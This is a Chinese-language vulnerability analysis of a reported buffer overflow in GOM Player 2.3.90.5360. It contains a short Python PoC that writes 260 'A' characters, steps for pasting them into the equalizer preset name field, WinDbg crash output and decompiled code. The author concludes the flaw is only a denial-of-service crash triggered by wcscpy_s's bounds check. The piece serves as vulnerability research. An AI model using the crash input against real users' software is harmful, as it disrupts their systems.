GOM Player 2.3.90.5360 - Buffer Overflow

描述

GOM Player(Gretech Online Movie Player)是韩国的GRETECH开发的一款在Windows平台上的免费媒体播放器

软件下载:https://github.com/z1r00/Vulnerability_Analysis/tree/main/GOM_Player

Poc:

1
2
3
4
5
6
7
8
9
10
exploit = 'A' * 260

try:
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC is not created")

触发:

1
2
3
4
5
6
7
#  - Open GOM Player
# - Click on the gear icon above to open settings
# - From the meu that appears, select Audio
# - Click on Equalizer
# - Click on the plus sign to go to the "Add EQ preset" screen
# - Copy the contents of exploit.txt and paste it into the preset name box, then click OK
# - Crashed!

这个洞进行深入分析之后发现其实并不是真正意义上的Buffer Overflow,是wcscpy_s函数检测到了错误而主动抛出了异常,目前看来只能当作一个拒绝服务漏洞(bug)

漏洞分析

此漏洞是由于在添加均衡器预设名称时,当输入的内容大于等于预设名称空间,wcscpy_s检测到当目标缓存区大小无法容纳源字符串时,wcscpy_s函数将主动抛出异常,导致程序崩溃。目标缓存区大小这里是二参传进去的大小,用法是wcscpy_s(wchar_t *Destination, rsize_t SizeInWords, const wchar_t *Source)

用windbg启动程序,执行GOM.exe,将Poc添加到均衡器预设名称时发生崩溃,windbg此时处于crash现场

1
2
3
4
5
6
7
(219c.2778): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
Subcode: 0x5 FAST_FAIL_INVALID_ARG
eax=00000001 ebx=0b1f0f70 ecx=00000005 edx=00000000 esi=00000022 edi=0b1f0f70
eip=00ee71de esp=01afecc8 ebp=01afece0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
GOM32Q_vc120_ReleaseQC+0x6371de:
00ee71de cd29 int 29h

它断在了_invoke_watson中,回溯堆栈状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 01afece0 00ee71cc 00000000 00000000 00000000 GOM32Q_vc120_ReleaseQC+0x6371de
01 01afed04 00ab6a63 01afee0c 00000104 0b1fb610 GOM32Q_vc120_ReleaseQC+0x6371cc
02 01aff058 00a9d040 0b1f39a0 00000001 00db723a GOM32Q_vc120_ReleaseQC+0x206a63
03 01aff11c 00db82e2 0104b640 0b1f39a0 00010004 GOM32Q_vc120_ReleaseQC+0x1ed040
04 01aff13c 00db392f 0000c2f8 0b1f39a0 00010004 GOM32Q_vc120_ReleaseQC+0x5082e2
05 01aff1ac 00db40ea 0b1f0f70 00050672 0000c2f8 GOM32Q_vc120_ReleaseQC+0x50392f
06 01aff1cc 753a16eb 00050672 0000c2f8 0b1f39a0 GOM32Q_vc120_ReleaseQC+0x5040ea
07 01aff1f8 75397b3a 00db40b6 00050672 0000c2f8 USER32!_InternalCallWinProc+0x2b
08 01aff2e0 75396471 00db40b6 00000000 0000c2f8 USER32!UserCallWinProcCheckWow+0x33a
09 01aff35c 75395f90 0000c1f8 01aff398 00dbc591 USER32!DispatchMessageWorker+0x4d1
0a 01aff368 00dbc591 01ec8cd8 00000000 01aff41c USER32!DispatchMessageW+0x10
0b 01aff398 00db2c90 00000004 00060046 01aff41c GOM32Q_vc120_ReleaseQC+0x50c591
0c 01aff3b0 00db2dbb 011d2660 057b64a0 008b0000 GOM32Q_vc120_ReleaseQC+0x502c90
0d 01aff408 009977b2 f571782c 057b64a0 fffffffe GOM32Q_vc120_ReleaseQC+0x502dbb
0e 01aff54c 00c02467 00000006 0000001b ffffffff GOM32Q_vc120_ReleaseQC+0xe77b2
0f 01aff56c 00db9d9e 057b64a0 0000041f 00000000 GOM32Q_vc120_ReleaseQC+0x352467
10 01aff59c 00db5f0e 0000041f 010776f0 00000000 GOM32Q_vc120_ReleaseQC+0x509d9e
11 01aff5ec 00c03f1d 0000041f 00000000 f5717a38 GOM32Q_vc120_ReleaseQC+0x505f0e
12 01aff678 00db6afb 0000041f 00000000 f5717b08 GOM32Q_vc120_ReleaseQC+0x353f1d
13 01aff730 00db82e2 00000111 0000041f 00000000 GOM32Q_vc120_ReleaseQC+0x506afb
14 01aff750 00db392f 00000111 0000041f 00000000 GOM32Q_vc120_ReleaseQC+0x5082e2
15 01aff7c0 00db40ea 057b64a0 00060046 00000111 GOM32Q_vc120_ReleaseQC+0x50392f
16 01aff7e0 753a16eb 00060046 00000111 0000041f GOM32Q_vc120_ReleaseQC+0x5040ea
17 01aff80c 75397b3a 00db40b6 00060046 00000111 USER32!_InternalCallWinProc+0x2b
18 01aff8f4 753972f6 00db40b6 00000000 00000111 USER32!UserCallWinProcCheckWow+0x33a
19 01aff92c 75395b1b 00000111 0000041f 00000000 USER32!CallWindowProcAorW+0x7f
1a 01aff944 009e9a45 00db40b6 00060046 00000111 USER32!CallWindowProcW+0x1b
1b 01aff9ec 753a16eb 00060046 00000111 0000041f GOM32Q_vc120_ReleaseQC+0x139a45
1c 01affa18 75397b3a 009e97c0 00060046 00000111 USER32!_InternalCallWinProc+0x2b
1d 01affb00 75396471 009e97c0 00000000 00000111 USER32!UserCallWinProcCheckWow+0x33a
1e 01affb7c 75395f90 00000011 01affbb4 00dbc591 USER32!DispatchMessageWorker+0x4d1
1f 01affb88 00dbc591 01ec8cd8 00000001 011a17e0 USER32!DispatchMessageW+0x10
20 01affbb4 00f0f850 00ed7d98 0000000a 00000000 GOM32Q_vc120_ReleaseQC+0x50c591
21 01affbc8 00ed7d1e 008b0000 00000000 01ec25da GOM32Q_vc120_ReleaseQC+0x65f850
22 01affc14 764afcc9 0196e000 764afcb0 01affc80 GOM32Q_vc120_ReleaseQC+0x627d1e
23 01affc24 770280ce 0196e000 648bdd27 00000000 KERNEL32!BaseThreadInitThunk+0x19
24 01affc80 7702809e ffffffff 77049189 00000000 ntdll!__RtlUserThreadStart+0x2f
25 01affc90 00000000 00ed7d98 0196e000 00000000 ntdll!_RtlUserThreadStart+0x1b

00ab6a63是漏洞点地址,刚好是wcscpy_s函数,0b1fb610存放了输入的Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> dc 0b1fb610
0b1fb610 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb620 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb630 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb640 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb650 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb660 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb670 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb680 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0:000> du 0b1fb610
0b1fb610 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb650 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb690 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb6d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb710 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb750 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb790 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb7d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0b1fb810 "AAAA"

利用wcscpy_s复制过去之后的数据存放在01afee0c中,很明显的发现头这里是空字节

1
2
3
4
5
6
7
8
9
0:000> dc 01afee0c
01afee0c 00410000 00410041 00410041 00410041 ..A.A.A.A.A.A.A.
01afee1c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
01afee2c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
01afee3c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
01afee4c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
01afee5c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
01afee6c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
01afee7c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.

wcscpy_s的函数实现如下,循环复制,直到Source结尾(SizeInWords不为0)或SizeInWords为0。如果SizeInWords不为0,则说明到了Source结尾可以正常返回。如果为0,则说明Source的长度大于等于SizeInWords,将Destination的头数据设置为0并抛出异常,所以上面的01afee0c会出现头字节为0的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
errno_t __cdecl wcscpy_s(wchar_t *Destination, rsize_t SizeInWords, const wchar_t *Source)
{
rsize_t v3; // edx
const wchar_t *v4; // ecx
int *v5; // eax
errno_t result; // eax
wchar_t v7; // ax
errno_t v8; // [esp-4h] [ebp-8h]

if ( !Destination )
goto LABEL_5;
v3 = SizeInWords;
if ( !SizeInWords )
goto LABEL_5;
v4 = Source;
if ( !Source )
{
*Destination = 0;
LABEL_5:
v5 = _errno();
v8 = 22;
LABEL_6:
*v5 = v8;
_invalid_parameter_noinfo();
return v8;
}
do
{
v7 = *v4;
*(v4 + Destination - Source) = *v4;
++v4;
if ( !v7 )
break;
--v3;
}
while ( v3 );
result = 0;
if ( !v3 )
{
*Destination = 0;
v5 = _errno();
v8 = 34;
goto LABEL_6;
}
return result;
}

这里有个非常明显问题,如果限制大小是0x104,刚好输入符合要求的0x104也会抛出异常。对于本案例,允许输入的大小大于等于0x104,所以只要大于等于0x104都会抛出异常让程序崩溃

经过调试之后发现,在均衡器预设这里会进入sub_6077E0函数进行表项判断

1
2
3
4
5
6
0:000> t
eax=012e1678 ebx=0a80ff58 ecx=0a80ff58 edx=00000001 esi=7fffffff edi=7fffffff
eip=00d477e0 esp=004fecec ebp=004fedac iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200293
GOM32Q_vc120_ReleaseQC+0x2077e0:
00d477e0 55 push ebp

利用sub_90A38F获取表项ID,+号的表项ID为0x00004b1

1
2
3
4
5
6
7
8
9
10
11
12
0:000> 
eax=00000001 ebx=0a80ff58 ecx=0a90bf90 edx=00000000 esi=0a90bf90 edi=0a80ff58
eip=00d47806 esp=004fece0 ebp=004fece8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
GOM32Q_vc120_ReleaseQC+0x207806:
00d47806 e8842b3000 call GOM32Q_vc120_ReleaseQC+0x50a38f (0104a38f)
0:000> p
eax=000004b1 ebx=0a80ff58 ecx=00000000 edx=00000000 esi=0a90bf90 edi=0a80ff58
eip=00d4780b esp=004fece0 ebp=004fece8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
GOM32Q_vc120_ReleaseQC+0x20780b:
00d4780b 2db1040000 sub eax,4B1h

根据表项ID执行对应的操作,+号会去执行sub_606910

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __thiscall sub_6077E0(HWND *this, int a2, int a3)
{
int v4; // eax

if ( a2 && IsWindow(*(a2 + 32)) && a3 == 1 )
{
v4 = sub_90A38F(a2) - 1201;
if ( v4 )
{
if ( v4 == 1 )
sub_606BD0(this);
}
else
{
sub_606910(this);
}
}
}

在sub_606910中,首先进行初始化,load_window显示对话框并进行添加修改选择,将选择的操作作为返回值返回(v3)。操作状态为100是添加预设,101是修改预设

1
2
3
4
5
6
0:000> p
eax=00000018 ebx=0c003a38 ecx=76fb1cfc edx=00000000 esi=00000064 edi=0c003a38
eip=00ab6a01 esp=0086eac8 ebp=0086ee08 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
GOM32Q_vc120_ReleaseQC+0x206a01:
00ab6a01 83fe64 cmp esi,64h

进入添加预设功能时,会将输入的数据转到Source中,并利用wcscpy_s将数据复制到Destination中,并没有对输入数据的大小进行检测限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
int __thiscall sub_606910(void *this)
{
int v2; // ecx
int v3; // esi
int v4; // eax
int v5; // eax
void *v6; // edi
int v7; // eax
int v8; // eax
int v9; // eax
_DWORD *v10; // esi
int v11; // edi
wchar_t *v12; // edx
wchar_t *Source; // [esp+10h] [ebp-324h] BYREF
int v15[43]; // [esp+14h] [ebp-320h] BYREF
int v16; // [esp+C0h] [ebp-274h]
wchar_t Destination[260]; // [esp+F4h] [ebp-240h] BYREF
char v18[40]; // [esp+2FCh] [ebp-38h] BYREF
int v19; // [esp+330h] [ebp-4h]

if ( (dword_CF83C4 & 1) == 0 )
{
dword_CF83C4 |= 1u;
dword_CF83C8 = 0;
atexit(nullsub_8);
v19 = -1;
}
(*(*dword_CF83C8 + 56))(dword_CF83C8);
sub_646A00(v15, 2, 0, 0, v2);
v19 = 1;
v3 = load_window(v15);
if ( (dword_CF83C4 & 1) == 0 )
{
dword_CF83C4 |= 1u;
LOBYTE(v19) = 2;
dword_CF83C8 = 0;
atexit(nullsub_8);
LOBYTE(v19) = 1;
}
(*(*dword_CF83C8 + 64))(dword_CF83C8);
if ( v3 == 'd' )
{
v4 = v16;
if ( v16 || (sub_646D00(v15), (v4 = v16) != 0) )
{
v5 = v4 - 116;
if ( v5 )
{
sub_44A540(&Source, *(v5 + 144));
LOBYTE(v19) = 3;
wcscpy_s(Destination, 0x104u, Source);
sub_5CE090(v18);
v6 = *(sub_7B4DC0(&dword_CF1C10, Destination) + 8);
if ( *(sub_90A3AA(this, 1301) + 180) == 1 )
v7 = -1;
else
v7 = sub_5C71F0(v6, v6);
LABEL_22:
sub_5C74F0(v7);
LABEL_23:
LOBYTE(v19) = 1;
v12 = Source - 8;
if ( _InterlockedDecrement(Source - 1) <= 0 )
(*(**v12 + 4))(v12);
}
}
}
else if ( v3 == 101 )
{
v8 = v16;
if ( v16 || (sub_646D00(v15), (v8 = v16) != 0) )
{
v9 = v8 - 116;
if ( v9 )
{
sub_44A540(&Source, *(v9 + 144));
LOBYTE(v19) = 5;
v10 = dword_CF1C14;
if ( !dword_CF1C14 )
goto LABEL_23;
while ( 1 )
{
v11 = v10[2];
v10 = *v10;
if ( sub_44E730(&Source, v11) )
break;
if ( !v10 )
goto LABEL_23;
}
if ( !v11 )
goto LABEL_23;
sub_5CE090(v11 + 520);
sub_90A3AA(this, 1301);
v7 = sub_5C7650(v11);
if ( v7 < 0 )
goto LABEL_23;
goto LABEL_22;
}
}
}
v19 = -1;
return sub_646C50();
}

这里省去了一些GUI代码逻辑,经过分析之后发现这个洞(bug)非常鸡肋,是由wcscpy_s的函数实现所产生的